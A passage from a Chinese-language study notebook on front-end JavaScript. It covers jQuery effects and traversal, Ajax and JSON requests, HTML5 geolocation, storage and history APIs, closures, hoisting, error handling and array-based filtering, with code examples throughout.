| 元件由淺至深淡入 | | .fadeOut() | 元件由深至淺淡出 | | .fadeTo() | 變更元件透明度 | | .fadeToggle() | 在淡入淡出間切換 | #### 滑行特效 | 方法 | 說明 | | -------- | -------- | | .slideUp() | 滑行移入 | | .slideDown() | 滑行移出 | | .slideToggle() | 在滑入滑出間切換 | #### 自訂特效 | 方法 | 說明 | | -------- | -------- | | .delay() | 延遲佇列中後續項目的執行 | | .stop() | 如動畫執行中,則停止 | | .animate() | 執行自訂動畫 | ```javascript= // speed 表示動畫展示的毫秒數,也可傳入slow和fast // easing 允許linear(速度一致)與swing(中段快,前後慢) // complete 動畫結束後執行 = 回呼函式(callback function) .animate({ // 想更換的CSS }[, speed][, easing][, complete]); ``` ##### 使用者點選清單,淡出畫面並將文字內容滑行移入右方(500ms),完成後刪除元件 ```javascript= $('li').on('click', function() { $(this).animate({ opacity: 0.0, paddingLeft: '+=80' }, 500, function() { $(this).remove(); }); }); ``` ##### 綜合以上特效範例 ```javascript= $('h2').hide().slideDown(); var $li = $('li'); $li.hide().each(function(index) { // index為each中的計數器 $(this).delay(700 * index).fadeIn(700); }); $li.on('click', function() { $(this).fadeOut(700); }); ``` ### 巡訪元件 #### 一般 | 方法 | 說明 | | -------- | -------- | | .find() | 篩選出符合選擇器條件的所有元件 | | .closest() | 篩選出符合選擇器條件的近祖先元件 | | .parent() | 直接父元件 | | .parents() | 所有父元件 | | .children() | 所有子元件 | | .siblings() | 所有兄弟元件 | | .next() | 下一個兄弟元件 | | .nextAll() | 後面所有兄弟元件 | | .prev() | 前一個兄弟元件 | | .prevAll() | 前面所有兄弟元件 | ```javascript= $h2.next('ul') .fadeIn(500) .children('.hot') .addClass('complete'); $h2.find('a').fadeOut(); ``` #### 篩選 / 測試 | 方法 | 說明 | | -------- | -------- | | .add() | 選取包含指定文字的元件 | | .filter() | 尋找目前選取集合中,符合第二個選擇器條件的元件 | | .find() | 尋找目前選取集合的子孫元件中,符合第二個選擇器條件的元件 | | .not() / :not() | 尋找目前選取集合中,不符合第二個選擇器條件的元件 | | .has() / :has() | 尋找目前選取集合中,其子孫元件符合第二個選擇器條件的元件 | | :contains() | 選取包含指定文字的元件 | | .is() | 檢查目前選取集合是否符合條件(回傳布林值) | ##### 效果相同 ```javascript= $('li').not('hot').addClass('cool'); $('li:not(.hot)').addClass('cool'); ``` ##### 選取所有清單,用不同篩選器篩選子集合進行操作 ```javascript= var $listItems = $('li'); $listItems.filter('.hot:last').removeClass('hot'); $('li:not(.hot)').addClass('cool'); $listItems.has('em').addClass('complete'); $listItems.each(function() { var $this = $(this); if ($this.is('.hot')) { //是否具備hot屬性值 $this.prepend('Priority item: '); } }); $('li:contains("honey")').append(' (local)'); // 將包含文字honey的元件加入 (local)這段文字在尾端 ``` #### 依序巡訪元件 | 方法 | 說明 | | -------- | -------- | | .eq() | 符合指定索引值的文件 | | :lt() | 索引值小於指定數值的文件 | | :gt() | 索引值大於指定數值的文件 | ```javascript= $('li:lt(2)').removeClass('hot'); $('li').eq(0).addClass('complete'); $('li:gt(2)').addClass('cool'); ``` ### 尺寸 / 位置 #### 元件尺寸 | 方法 | 說明 | | -------- | -------- | | .height() | 擷取或設定元件尺寸 | | .width() | 元件框寬度(不含邊距、邊框、外邊距) | | .innerHeight() | 元件框高度,含內邊距 | | .innerWidth() | 元件框寬度,含內邊距 | | .outerHeight() | 元件框高度,含內邊距和邊框 | | .outerWidth() | 元件框寬度,含內邊距和邊框| | .outerHeight(true) | 元件框高度,含內邊距、邊框、外邊距 | | .outerWidth(true) | 元件框寬度,含內邊距、邊框、外邊距 | ![](https://i.imgur.com/TJRn1PR.jpg =400x) ```javascript= var listHeight = $('#page').height(); $('ul').append('<p>Height: ' + listHeight + 'px</p>'); $('li').width('50%'); //原寬度50% $('li#one').width(125); //125px $('li#two').width('75%'); //原寬度75% ``` #### 視窗和頁面尺寸 | 方法 | 說明 | | -------- | -------- | | .height() | 元件集合的高度 | | .width() | 元件集合的寬度 | | .scrollLeft() | 元件集合中第一個元件,其捲軸的水平位置,或設定元件集合所有元件其捲軸的水平位置 | | .scrollTop() | 元件集合中第一個元件,其捲軸的水平位置,或設定元件集合所有元件其捲軸的垂直位置 | ![](https://i.imgur.com/pAMUfO0.jpg =400x) #### 元件於頁面中位置 | 方法 | 說明 | | -------- | -------- | | .offset() | 擷取或設定元件的座標(DOM基準) | | .position() | 擷取或設定元件的座標(元件基準) | ![](https://i.imgur.com/syZfXAs.jpg =300x) ##### 使用者下拉頁面到500px高度時,於頁面上顯示廣告訊息框 ```javascript= var $window = $(window); var $slideAd = $('#slideAd'); var endZone = $('#footer').offset().top - $window.height() - 500; // 頁面頂端到頁尾起始位置 減去可視高度 在減去訊息框會移入的區域高度 $window.on('scroll', function() { if (endZone < $window.scrollTop()) { $slideAd.animate({ 'right': '0px' }, 250); } else { $slideAd.stop(true).animate({ 'right': '-360px' }, 250); } }); ``` ### 其他方法 | 方法 | 說明 | | -------- | -------- | | .val() | 主要用於擷取\<input>、\<select>、\<textarea>元件值<br>可以取第一個元件值,也可變更所有元件值 | | $.isNumeric | 檢查是否為數值,回傳布林值 | ### 引入jQuery #### 方式 * 與網站檔案保存在一起 * 使用內容傳遞網路(Content Delivery Network, CDN)載入 ```htmlembedded= <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script> window.jQuery || document.write('<script src="js/jquery-1.10.2.js"><\/script>') </script> ``` #### 應放置於\</body>結尾標籤前 * 程式碼載入不阻礙其他頁面的載入 * DOM在程式腳本執行前均已載入完成 ### 其他 JavaScript 函式庫 > prototype.js、MooTools、YUI同樣使用$縮寫,要注意衝突(如運用jQuery.noConflict();) #### DOM和事件 * Zepto.js * YUI * Dojo.js * MooTools.js #### 繪畫和圖表 * jQuery UI * jQuery Mobile * Twitter Bootstrap * YUI #### 網頁應用程式 * Chart.js * D3.js * Processing.js * Raphael.js #### 使用者介面 * Mustache.js * Handlebars.js * jQuery Mobile #### 模型模板 * Angular.js * Backbone * Ember.js #### 相容性 * Modernizr.js * YepNode.js * Require.js ### jQuery範例 #### 建立一個使用者可以自行新增移除項目的清單 :::spoiler ```htmlembedded= <div id="page"> <h1 id="header">List</h1> <h2>Buy groceries <span id="counter"></span></h2> <ul> <li id="one" class="hot"><em>fresh</em> figs</li> <li id="two" class="hot">pine nuts</li> <li id="three" class="hot">honey</li> <li id="four">balsamic vinegar</li> </ul> <div id="newItemButton"><button href="#" id="showForm">new item</button></div> <form id="newItemForm"> <input type="text" id="itemDescription" placeholder="Add description" /> <input type="submit" id="add" value="add" /> </form> </div> ``` ```javascript= $(function() { var $list, $newItemForm, $newItemButton; var item = ''; $list = $('ul'); $newItemForm = $('#newItemForm'); $newItemButton = $('#newItemButton'); $('li').hide().each(function(index) { $(this).delay(450 * index).fadeIn(1600); }); function updateCount() { var items = $('li[class!=complete]').length; $('#counter').text(items); } updateCount(); $newItemButton.show(); $newItemForm.hide(); $('#showForm').on('click', function() { $newItemButton.hide(); $newItemForm.show(); }); $newItemForm.on('submit', function(e) { e.preventDefault(); var text = $('input:text').val(); $list.append('<li>' + text + '</li>'); $('input:text').val(''); updateCount(); }); $list.on('click', 'li', function() { var $this = $(this); var complete = $this.hasClass('complete'); if (complete === true) { $this.animate({ opacity: 0.0, paddingLeft: '+=180' }, 500, 'swing', function() { $this.remove(); }); } else { item = $this.text(); $this.remove(); $list .append('<li class=\"complete\">' + item + '</li>') .hide().fadeIn(300); updateCount(); } }); }); ``` ::: ## Ajax、JSON * Ajax是一個可載入資料至部份頁面區段中,而不需要重新整理整個頁面的技巧。 * 為非同步處理模型(asynchronous processing model) * 可回傳HTML、XML、JSON ### XMLHttpRequest物件 #### 資料請求 ```javascript= var xhr = new XMLHttpRequest(); xhr.open('GET', 'data/test.json', true); // HTTP方法, 需處理資料需求的URL, 資料傳輸模式 xhr.send('search=arduino'); // 額外資訊傳遞給伺服器,若無可填寫null(非必填) ``` #### 資料回應 > IE9+ ```javascript= var xhr = new XMLHttpRequest(); xhr.onload = function(){ if (xhr.status === 200) { // 處理伺服器端回傳資料的程式碼 } } ``` ### JSON:javaScript 物件標示法 * JSON資料不是物件,是JSON格式(單純文字) ```json= { "location": "San Francisco, CA", "capacity": 270, "booking": true } ``` * 可轉換為JS物件 ```javascript= { "events":[ {"location": "San Francisco, CA", "capacity": 270, "booking": true}, {"location": "San Franc", "capacity": 20, "booking": true}, {"location": "San Francis", "capacity": 70, "booking": true} ] } ``` | 方法 | 說明 | | -------- | -------- | | JSON.stringify() | 可將JS物件轉換為JSON格式 | | JSON.parse() | 可將JSON格式轉換為JS物件 | ```javascript= var xhr = new XMLHttpRequest(); xhr.onload = function() { responseObject = JSON.parse(xhr.responseText); // 沒宣告(? var newContent = ''; for (var i = 0; i < responseObject.events.length; i++) { newContent += '<div class="event">'; newContent += '<img src="' + responseObject.events[i].map + '" '; newContent += 'alt="' + responseObject.events[i].location + '" />'; newContent += '<p><b>' + responseObject.events[i].location + '</b><br>'; newContent += responseObject.events[i].date + '</p>'; newContent += '</div>'; } document.getElementById('content').innerHTML = newContent; }; xhr.open('GET', 'data/data.json', true); xhr.send(null); ``` ### 跨網域資料請求 > 安全性理由,瀏覽器無法自其他網域載入Ajax回應資料,<br>如仍需使用有三種解決方案: #### 代理(proxy) > 在伺服器端建立資料代理程式 #### 跨來源資源共享(Cross-Origin Resource Sharing, CORS) > 在HTTP標頭中加額外資訊,讓瀏覽器和伺服器知道他們必須互相溝通 > Chrome4 FF3.5 IE10 Safari4 Android iOS3.2 > IE8+9使用XDomainRequest物件 #### JSON With Padding, JSONP / JSON-P > 加入\<script>元件至頁面中 ##### 瀏覽器端 ```htmlembedded= <!-- 處理伺服器回傳的JSON資料 --> <script> function showEvents(data) { // 處理資料和顯示資料 // 於頁面的程式敘述 } </script> <!-- 向遠端伺服器發送JSON資料請求 --> <script src="http://example.org/jsonp"></script> ``` ##### 伺服器端 ```javascript= showEvents({ "events":[ {"location": "San Francisco, CA", "capacity": 270, "booking": true}, {"location": "San Franc", "capacity": 20, "booking": true}, {"location": "San Francis", "capacity": 70, "booking": true} ] }); ``` ### 運用JQuery #### 資料請求 | 方法 | 說明 | | -------- | -------- | | .load() | 載入HTML片段內容至元件中\<br>此方法是擷取資料最簡單方法 | | .get() | 以HTTP GET方法載入資料\<br>此方法用以向伺服器請求資料 | | .post() | 以HTTP POST方法載入資料\<br>此方法用以發送資料,以更新伺服器端 | | .getJSON() | 以GET請求載入JSON資料\<br>此方法用以取得JSON資料 | | .getScript() | 以GET請求載入和執行JS資料\<br>此方法用以取得JS資料 | | .ajax() | 可以執行任何請求\<br>上述方法實際上均以此方法為基礎進行請求 | #### 資料回應 jqXHR物件 | 特性 | 說明 | | -------- | -------- | | responseText | 回傳以文字為基礎的資料 | | responseXML | 回傳XML資料 | | status | 狀態碼 | | statusText | 狀態碼說明(debug用) | | 方法 | 說明 | | -------- | -------- | | .done() | 當資料請求成功時執行 | | .fail() | 當資料請求失敗時執行 | | .always() | 不管請求失敗,均執行 | | .abort() | 中止溝通 | ##### 將包含外幣匯率資料的JSON載入頁面 ```javascript= $('#exchangerates').append('<div id="rates"></div><div id="reload"></div>'); function loadRates() { $.getJSON('data/rates.json') .done( function(data){ // 當成功回傳 var d = new Date(); var hrs = d.getHours(); var mins = d.getMinutes(); var msg = '<h2>Exchange Rates</h2>'; $.each(data, function(key, val) { // 加入每個匯率資料 msg += '<div class="' + key + '">' + key + ': ' + val + '</div>'; }); msg += '<br>Last update: ' + hrs + ':' + mins + '<br>'; $('#rates').html(msg); }).fail( function() { // 當發生錯誤 $('#rates').text('發生錯誤,無法載入匯率'); }).always( function() { // 不管成不成功 var reload = '<a id="refresh" href="#">'; // 加入重新整理按紐 reload += '<img src="img/refresh.png" alt="refresh" /></a>'; $('#reload').html(reload); $('#refresh').on('click', function(e) { e.preventDefault(); loadRates(); }); }); } loadRates(); ``` #### 載入HTML至頁面 ```javascript= // 首先選出希望載入HTML的容器元件 // 接著使用.load()方法時,必須指定HTML頁面的URL以進行載入 // 可以指定只載入頁面的部份內容(而非載入整個頁面) $('#content').load('jq-ajax3.html #content'); ``` ##### 使用者點擊超連結替換頁面內容(同網址內) ```htmlembedded= <header> <h1>THE MAKER BUS</h1> <nav> <a href="jq-load.html" class="current">HOME</a> <a href="jq-load2.html">ROUTE</a> <a href="jq-load3.html">TOYS</a> </nav> </header> <section id="content"> <div id="container"> <!-- 第二個頁面的內容 --> </div> </section> ``` ```javascript= $('nav a').on('click', function(e) { e.preventDefault(); //停止轉往目標頁面 var url = this.href; // 替換焦點的class $('nav a.current').removeClass('current'); $(this).addClass('current'); $('#container').remove(); $('#content').load(url + ' #container').hide().fadeIn('slow'); }); ``` #### 快捷方法 | 方法 | 說明 | | -------- | -------- | | $.get(url\[, data\]\[, callback\]\[, type\]) | 發送HTTP GET資料請求 | | $.post(url\[, data\]\[, callback\]\[, type\]) | 發送HTTP POST資料請求 | | $.getJSON(url\[, data\]\[, callback\]) | 利用GET請求載入JSON資料 | | $.getScript(url\[, data\]\[, callback\]) | 利用GET請求載入並執行JS(如JSONP) | #### 送出表單 .serialize() ```htmlembedded= <form id="register" action="http://javascriptbook.com/code/c08/register.php" method="post"> <h2>Register</h2> <label for="name">帳號</label><input type="text" id="name" name="name" /> <label for="pwd">密碼</label><input type="password" id="pwd" name="pwd" /> <label for="email">信箱</label><input type="email" id="email" name="email" /> <input type="submit" value="Join" /> </form> ``` ```javascript= $('#register').on('submit', function(e) { e.preventDefault(); var details = $('#register').serialize(); // 表單資料序列化蒐集 $.post('register.php', details, function(data) { $('#register').html(data); // 顯示結果資料 }); }); ``` #### 精細調校控制設定以發送AJAX請求 | 設定 | 說明 | | -------- | -------- | | type | 允許設定為GET或POST值 | | url | 處理請求的頁面URL | | data | 發送至伺服器端的資料 | | success | 請求成功後執行(與.done()方法類似) | | error | 請求錯誤後執行(與.fail()方法類似) | | beforeSend | 發送前執行(如載入圖示) | | complete | 在成功或失敗後執行(如移除載入圖示) | | timeout | 請求可等待的毫秒數,超過此數值視為請求失敗 | ```javascript= $('nav a').on('click', function(e) { e.preventDefault(); var url = this.href; var $content = $('#content'); $('nav a.current').removeClass('current'); $(this).addClass('current'); $('#container').remove(); $.ajax({ type: "GET", url: url, timeout: 2000, // 等待回應時間 beforeSend: function() { $content.append('<div id="load">載入中</div>'); }, complete: function() { $('#load').remove(); }, success: function(data) { $content.html( $(data).find('#container') ).hide().fadeIn(400); }, error: function() { $content.html('<div class="container">請稍後再試</div>'); } }); }); ``` ## APIs 應用程式介面 > 應用程式介面(Application Programming interfaces, API) ### HTML5 JS APIs | API | 說明 | | -------- | -------- | | geolocation | 取得使用者位置資訊 | | localStorage | 儲存資訊於瀏覽器中(即使使用者關閉視窗) | | sessionStorage | 儲存資訊於瀏覽器中(當視窗開啟時) | | history | 自瀏覽器的歷史紀錄中擷取資訊 | #### 支援度檢查 navigator > 跨瀏覽器問題,在IE9執行geolocation物件時會出現記憶體洩漏(memory leak) > 可用Modernizr解決 ```javascript= if (navigator.geolocation) { // 有支援 } esle { // 沒支援或使用者拒絕使用 } ``` #### Modernizr 程式腳本 > 要先引入 ```javascript= if (Modernizr.geolocation) { // 有支援 } esle { // 沒支援或使用者拒絕使用 } ``` #### YepNope 條件式載入器 * 可根據不同條件判斷結果,下載不同檔案 * 通常與Modernizr搭配使用 > 要先引入 ```htmlembedded= <label for="age">請輸入年齡</label> <input type="number" id="age" /> ``` ```javascript= yepnope({ test: Modernizr.inputtypes.number, // 檢測是否支援數值輸入框 yep: ['js/numPolyfill.js', 'css/number.css'], // 如果有支援,則執行對應工作任務 nope: ['js/numPolyfill.js', 'css/number.css'], // 如果沒有支援,則執行對應工作任務 complete : function() { // 都檢測並載入完成後執行 console.log('YepNope + Modernizr are done'); } }); ``` #### geolocation API(地理位置資訊) ##### geolocation 物件 | 方法 | 說明 | | -------- | -------- | | getCurrentPosition(success, fail) | 請求使用者位置資訊,若同意則回傳位置資訊 | ##### Position 物件 | 特性 | 說明 | | -------- | -------- | | Position.coords.latitude | 緯度,小數表示 | | Position.coords.longitude | 經度,小數表示 | | Position.coords.accuracy | 經緯度的精確性,以公尺為單位 | | Position.coords.altitude | 海平面以上高度,以公尺為單位 | | Position.coords.altitudeAccuracy | 海平面以上高度的精確性 | | Position.coords.heading | 距離正北方的順時針角度 | | Position.coords.speed | 行進速度,以公尺/秒為單位 | | Position.coords.timestamp | 取得位置資訊的時間(格式化為Date物件) | ##### PositionError 物件 | 特性 | 說明 | | -------- | -------- | | PositionError.code | 錯誤代碼(1.拒絕存取、2.不存在、3.等待逾時) | | PositionError.message | 錯誤訊息 | ```htmlembedded= <script src="js/modernizr.2.7.1.js"></script> ``` ```javascript= var elMap = document.getElementById('loc'); var msg = '無法取得位置訊息'; if (Modernizr.geolocation) { navigator.geolocation.getCurrentPosition(success, fail); elMap.textContent = '位置載入中'; } else { elMap.textContent = msg; } function success(position) { msg = '<h3>經度:<br>'; msg += position.coords.longitude + '</h3>'; msg += '<h3>緯度:<br>'; msg += position.coords.latitude + '</h3>'; elMap.innerHTML = msg; } function fail(msg) { elMap.textContent = msg; console.log(msg.code); } ``` #### WEB storage API(HTML5儲存) > HTML5推出前,主要運用cookie,但不安全且不能儲存太多資料。 * localStorage * 本機端儲存 * 在較長時間才需變更(時程表、價格表) * 使用者可能回訪再次使用(偏好設定) * sesssionStorage * 連線期間儲存 * 適合經常性變更資料(是否登入、位置資訊) * 個人性資料 | 方法 | 說明 | | -------- | -------- | | setItem(key, value) | 建立一組新的鍵/值配對 | | getItem(key) | 取得指定的鍵值 | | removeItem(key) | 移除指定的鍵/值配對 | | clear() | 自儲存物件中清除所有資訊 | | length | 鍵值數量 | ```javascript= if (Modernizr.localstorage) { var txtUsername = document.getElementById('username'); // 取得表單元件 var txtAnswer = document.getElementById('answer'); txtUsername.value = localStorage.getItem('username'); txtAnswer.value = localStorage.getItem('answer'); txtUsername.addEventListener('input', function () { localStorage.setItem('username', txtUsername.value); }, false); txtAnswer.addEventListener('input', function () { localStorage.setItem('answer', txtAnswer.value); }, false); } ``` ```javascript= if (Modernizr.sessionstorage) { var txtUsername = document.getElementById('username'), // 取得表單元件 txtAnswer = document.getElementById('answer'); txtUsername.value = sessionStorage.getItem('username'); txtAnswer.value = sessionStorage.getItem('answer'); txtUsername.addEventListener('input', function () { sessionStorage.setItem('username', txtUsername.value); }, false); txtAnswer.addEventListener('input', function () { sessionStorage.setItem('answer', txtAnswer.value); }, false); } ``` #### history API(歷史紀錄) | 方法 | 說明 | | -------- | -------- | | history.back() | 帶往歷史紀錄前一頁 | | history.forward() | 帶往歷史紀錄後一頁 | | history.go() | 帶往歷史紀錄指定頁面(-1前一頁,1後一頁) | | history.pushState() | 於歷史紀錄堆疊中加入一筆紀錄項目 | | history.replaceState() | 同pushState功能,但能變更目前history紀錄 | | 特性 | 說明 | | -------- | -------- | | length | 取得history紀錄項目數量 | | 事件 | 說明 | | -------- | -------- | | Window.onpopstate | 處理使用者向前頁或向後頁移動 | ```javascript= $(function() { function loadContent(url){ $('#content').load(url + ' #container').hide().fadeIn('slow'); } $('nav a').on('click', function(e) { e.preventDefault(); var href = this.href; // 需載入的頁面位址 var $this = $(this); $('a').removeClass('current'); // 刪除目前頁面標示 $this.addClass('current'); // 新增目前頁面標示 loadContent(href); // 呼叫函式,載入頁面內容 history.pushState('', $this.text, href); // 變更記錄堆疊,更新歷史紀錄 }); window.onpopstate = function() // 當使用者按前一頁 / 後一頁按紐則會啟動 var path = location.pathname; // 取得檔案路徑(於堆疊中取得需載入位址) loadContent(path); // 呼叫函式載入頁面 // 取得路徑,更新標示 var page = path.substring(location.pathname.lastIndexOf('/')+1); $('a').removeClass('current'); $('[href="' + page + '"]').addClass('current'); }; }); ``` ### Google API :notebook: [JavaScript - Google API](/qNVuCJTYT4G14bgwWQKzOg) ### Angular :notebook: [AngularJS 筆記](/SNGJllpGReiwd0xsPhFxAw) :notebook: [Angular(2+) 筆記](/alweRmSGTs2cE1cnjOaQ-w) ### Vue :notebook: [Vue 筆記](/m6xVB__eSDCxtoyvlxP5Zw) ### React :notebook: [React 筆記](/tweJu4TJRs6wtDxn-8TTIA) ## 錯誤處理、除錯 ### 執行順序 - 工作堆疊(stack) ```javascript= // 2 function greetUser() { return 'Hello ' + getName(); } // 3 function getName() { var name = "Molly"; return name } // 1 var greeting = greetUser(); // 4 alert(greeting); ``` ::: success 執行順序並非1 2 3 4,而是1 2 3 2 1 4 ::: 1.變數greeting自greetUser()函式取得回傳值 2.greetUser()函式建立歡迎訊息 3.greetName()函式回傳姓名給greetUser()函式 2.greetUser()函式取得姓名,將字串組合回傳至步驟1 1.greeting內容值儲存於記憶體中 4.將greeting變數內容寫入提示視窗 ### 執行環境(execution contexts) * 全域執行環境(GLOBAL CONTEXT) * 函式執行環境(FUNCTION CONTEXT) * EVAL執行環境(EVAL CONTEXT) #### 變數有效範圍(scope) * 範圍 * 區域變數 - 各區域可重複命名不衝突 * 全域變數 - 佔記憶體空間較大 * 宣告 * var 變數 function * let 變數 block * const 唯獨變數 ### [閉包(Closure)](https://blog.techbridge.cc/2018/12/08/javascript-closure/) > 假設頁面上有五個按鈕,我想要第一個按下去時彈出 0,第二個按下去時彈出 1,以此類推,於是寫了下面的程式碼,看起來十分合理。 ```javascript= var btn = document.querySelectorAll('button') for(var i=0; i<=4; i++) { btn[i].addEventListener('click', function() { alert(i) }) } ``` > 但其實是這樣,每個按鈕按下都回傳5 ```javascript= btn[0].addEventListener('click', function() { alert(i) }) btn[1].addEventListener('click', function() { alert(i) }) ... ``` > 可以改成這樣 ```javascript= function getAlert(num) { return function() { alert(num) } } for(var i=0; i<=4; i++) { btn[i].addEventListener('click', getAlert(i)) } ``` > 在ES6 可以直接用let解決作用域問題 ```javascript= for(let i=0; i<=4; i++) { btn[i].addEventListener('click', function() { alert(i) }) } ``` ### [提升(hoisting)](https://blog.techbridge.cc/2018/11/10/javascript-hoisting/) * 變數宣告跟函式宣告都會提升 * 只有宣告會提升,賦值不會提升 * 預備 * 建立新的有效範圍 * 建立變數、函數和引數 * 決定關鍵字this的內容值 * 執行 * 可進行指定內容值給變數 * 參考函式並執行程式碼 * 執行程式敘述 ```javascript= console.log(a) // undefined var a = 5 ``` > 可以看成這樣 ```javascript= var a console.log(a) // undefined a = 5 ``` * 別忘了函式裡面還有傳進來的參數 > 答案是10,不是undefined ```javascript= function test(v){ console.log(v) var v = 3 } test(10) ``` > 可以看成這樣 ```javascript= function test(v){ var v console.log(v) v = 3 } test(10) ``` > 再舉個例 > 答案是5,不是undefined ```javascript= var v = 5 var v console.log(v) ``` > 可以看成這樣 ```javascript= var v var v v = 5 console.log(v) ``` * function的宣告也會提升而且優先權比較高,因此輸出function而不是undefined ```javascript= console.log(a) //[Function: a] var a function a(){} ``` ### ERROR 物件 | 特性 | 說明 | | -------- | -------- | | name | 執行的類型 | | message | 描述說明 | | fileNumber | JS檔案名稱 | | lineNumber | 錯誤發生行數 | | 物件 | 說明 | | -------- | -------- | | Error | 一般泛型錯誤 | | SyntaxError | 語法錯誤 | | ReferenceError | 參考一個未經宣告/未在有效範圍內的變數 | | TypeError | 一個非預期的型別,且無法被強制轉換型別 | | RangeError | 未在可接受範圍的數值 | | URIError | encodeURI()、decodeURI()和類似的方法未被正確使用 | | EvalError | eval()函式未正確使用 | ### 除錯方式 * 針對錯誤訊息對症下藥 * 查看ERROR 物件 * 多運用console * 訊息類型 .log() .info() .warn() .error() * 訊息歸類 .gorup() .groupEnd() * 訊息表格 .table(物件/陣列) * 條件輸出 .assert(不顯示條件, 訊息) * 設立程式中斷點 * IDE工具 * 瀏覽器開發人員工具 * 關鍵字 debugger * 逐步探索 * IDE工具 * 註解/移除區段 * 例外處理 * try catch finally(類似jQ的.done() .fail() .always()) * 拋出錯誤 * throw new Error('message'); ```javascript= try { // 無問題則執行 } catch(e) { var errorMessage = e.name + ' ' + e.message; console.log(errorMessage); // 回傳錯誤訊息 feed.innerHTML = '<em>oops!可能發生問題</em>'; // 顯示提示給使用者 } finally { // 無論是否錯誤都執行 } ``` ## 內容控制面板 :notebook: [JavaScript - 內容控制面板](/WyZJu_0NT-KdtqK65ebPog) ## 過濾篩選、搜尋、排序 ### 陣列(其實也是物件) | 方法 | 說明 | | -------- | -------- | | push() | 加入一或多個資料至陣列結束端,並回傳最新陣列資料項目數量 | | unshift() | 加入一或多個資料至陣列起始端,並回傳最新陣列資料項目數量 | | pop() | 移除陣列最後一個資料項目,並回傳該資料項目 | | shift() | 移除陣列第一個資料項目,並回傳該資料項目 | | forEach() | 巡訪,對陣列中的每個資料項目執行函式一次 | | [some()](https://noob.tw/js-every-some/) | 巡訪,檢查項目中部分資料項目是否通過指定函式檢測 | | [every()](https://noob.tw/js-every-some/) | 巡訪,檢查項目中全部資料項目是否通過指定函式檢測 | | concat() | 結合,建立一個新的陣列,包含目前的陣列和其他的陣列/值 | | filter() | 篩選,建立一個新的陣列,包含的資料項目可通過指定函式檢測 | | sort() | 排序,搭配比較函式重新排序陣列中的資料項目順序 | | reverse() | 排序,反轉陣列中的資料項目順序 | | map() | 變更,對陣列中每個資料項目套用指定函式,並將結果以新的陣列儲存 | ### jQuery 元件集合 | 方法 | 說明 | | -------- | -------- | | .add() | 將元件加入至一元件集合中 | | .not() | 將一元件自元件集合中刪除 | | .each() | 將元件集合中的每一元件套用相同函式 | | .filter() | 藉由設定jQ選擇器或函式測試,過濾元件集合中不符合條件的元件 | | .toArray() | 將jQ元件集合轉換為DOM元件陣列,接著就可運用陣列方法操作 | ### 陣列方法過濾篩選 #### 靜態篩選 ##### 方法1 ```javascript= $(function() { var people = [ { name: 'Casey', rate: 60 }, { name: 'Camille', rate: 80 }, { name: 'Gordon', rate: 75 }, { name: 'Nigel', rate: 120 } ]; // 定義函式執行篩選 function priceRange(person) { return (person.rate >= 65) && (person.rate <= 90); }; // 將符合人員加入result陣列中 var results = []; results = people.filter(priceRange); // 巡訪新的陣列,並將符合條件的人員加到表格內容中 var $tableBody = $('<tbody></tbody>'); for (var i = 0; i < results.length; i++) { var person = results[i]; // 保存目前這個人員 var $row = $('<tr></tr>'); // 為人員建立一筆資料列 $row.append($('<td></td>').text(person.name)); $row.append($('<td></td>').text(person.rate)); $tableBody.append( $row ); } $('thead').after($tableBody); // 將表格內容放入表格標頭thead之後 }); ``` ##### 方法2 ```javascript= $(function() { var people = [ { name: 'Casey', rate: 60 }, { name: 'Camille', rate: 80 }, { name: 'Gordon', rate: 75 }, { name: 'Nigel', rate: 120 } ]; // 將符合人員加入result陣列中 var results = []; people.forEach(function(person) { if (person.rate >= 65 && person.rate <= 90) { results.push(person); } }); // 巡訪新的陣列,並將符合條件的人員加到表格內容中 var $tableBody = $('<tbody></tbody>'); for (var i = 0; i < results.length; i++) { var person = results[i]; // 保存目前這個人員 var $row = $('<tr></tr>'); // 為人員建立一筆資料列 $row.append($('<td></td>').text(person.name)); $row.append($('<td></td>').text(person.rate)); $tableBody.append( $row ); } $('thead').after($tableBody); // 將表格內容放入表格標頭thead之後 }); ``` #### 動態篩選 ```javascript= $(function() { var people = [ { name: 'Casey', rate: 60 }, { name: 'Camille', rate: 80 }, { name: 'Gordon', rate: 75 }, { name: 'Nigel', rate: 120 } ]; var rows = [], $min = $('#value-min'), $max = $('#value-max'), $table = $('#rates'); // 顯示結果的表格 function makeRows() { // 建立資料列和row陣列 people.forEach(function(person) { var $row = $('<tr></tr>'); $row.append( $('<td></td>').text(person.name) ); $row.append( $('<td></td>').text(person.rate) ); rows.push({ person: person, $element: $row }); }); } function appendRows() { // 將資料加入至表格 var $tbody = $('<tbody></tbody>'); rows.forEach(function(row) { $tbody.append(row.$element); }); $table.append($tbody); } function update(min, max) { // 更新篩選條件 rows.forEach(function(row) { if (row.person.rate >= min && row.person.rate <= max) { row.$element.show(); } else { row.$element.hide(); } }); } function init() { // 最先執行 $('#slider').noUiSlider({ // 建立滑動軸 range: [0, 150], start: [65, 90], handles: 2, margin: 20, connect: true, serialization: {to: [$min, $max],resolution: 1} }).change(function() { update($min.val(), $max.val()); }); // 每次滑動軸改變時呼叫update() makeRows(); // 建立資料列和row陣列 appendRows(); // 將資料加入至表格 update($min.val(), $max.val()); // 變更表格以顯示符合條件之資料 } $(init); // DOM載入完成呼叫init() }); ``` ### 影像畫廊過濾篩選 #### 標籤切換 * 標籤註記影像 ```htmlembedded= <div id="buttons"></div> <div id="gallery"> <img src="img/p1.jpg" data-tags="Animators, Illustrators" alt="Rabbit" /> <img src="img/p2.jpg" data-tags="Photographers, Filmmakers" alt="Sea" /> <img src="img/p3.jpg" data-tags="Photographers, Filmmakers" alt="Deer" /> <img src="img/p4.jpg" data-tags="Designers" alt="New York Street Map" /> <img src="img/p5.jpg" data-tags="Photographers, Filmmakers" alt="Trumpet Player" /> <img src="img/p6.jpg" data-tags="Designers, Illustrators" alt="Typographic Study" /> <img src="img/p7.jpg" data-tags="Photographers" alt="Bicycle Japan" /> <img src="img/p8.jpg" data-tags="Designers" alt="Aqua Logo" /> <img src="img/p9.jpg" data-tags="Animators, Illustrators" alt="Ghost" /> </div> ``` * 處理標籤並篩選 ```javascript= (function() { var $imgs = $('#gallery img'); // 儲存所有影像圖片 var $buttons = $('#buttons'); var tagged = {}; // 建立標籤註記物件 $imgs.each(function() { var img = this; var tags = $(this).data('tags'); // 取得元件的標籤 if (tags) { // 如果元件有標籤 tags.split(',').forEach(function(tagName) { if (tagged[tagName] == null) { tagged[tagName] = []; } tagged[tagName].push(img); }); } }); $('<button/>', { // 建立空按鈕元件 text: '全部', class: 'active', click: function() { $(this) 